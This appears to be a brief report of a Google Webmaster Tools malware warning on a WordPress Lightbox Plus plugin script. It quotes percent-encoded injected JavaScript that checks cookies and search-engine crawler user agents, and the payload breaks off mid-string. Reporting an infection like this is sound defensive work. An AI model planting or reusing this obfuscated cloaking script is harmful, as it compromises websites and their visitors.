According to the Google Webmaster Tools…
Problematic URL:
/wp-content/plugins/lightbox-plus/js/jquery.colorbox-min.js?ver=1.3.8
Suspected injected code:
document.write(unescape(‘%3C%73%63%72%69%70%74%3E%76%61%72%2
0%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6
F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%67%6F%74%3D%2
2%2B%65%73%63%61%70%65%28%22%67%6F%74%22%29%2B%22%3B%70%61%7
4%68%3D%2F%22%3B%76%61%72%20%62%3D%77%69%6E%64%6F%77%2E%6E%6
1%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%63%3
D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6
F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%6
2%69%6E%67%7C%61%73%6B%29%2F%69%2C%64%3D%6E%61%76%69%67%61%7
4%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%65%3D%22%20%22%2
B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%66%3D%6E%7
5%6C%6C%2C%67%3D%30%2C%68%3D%30%3B%69%66%28%65%2E%6C%65%6E%6
7%74%68%3E%30%29%7B%67%3D%65%2E%69%6E%64%65%78%4F%66%28%22%2
0%67%6F%74%3D%22%29%3B%69%66%28%67%21%3D%2D%31%29%7B%67%2B%3
D%35%3B%68%3D%65%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%67%2
9%3B%69%66%28%68%3D%3D%2D%31%29%68%3D%65%2E%6C%65%6E%67%74%6
8%3B%66%3D%75%6E%65%73%63%61%70%65%28%65%2E%73%75%62%73%74%7
2%69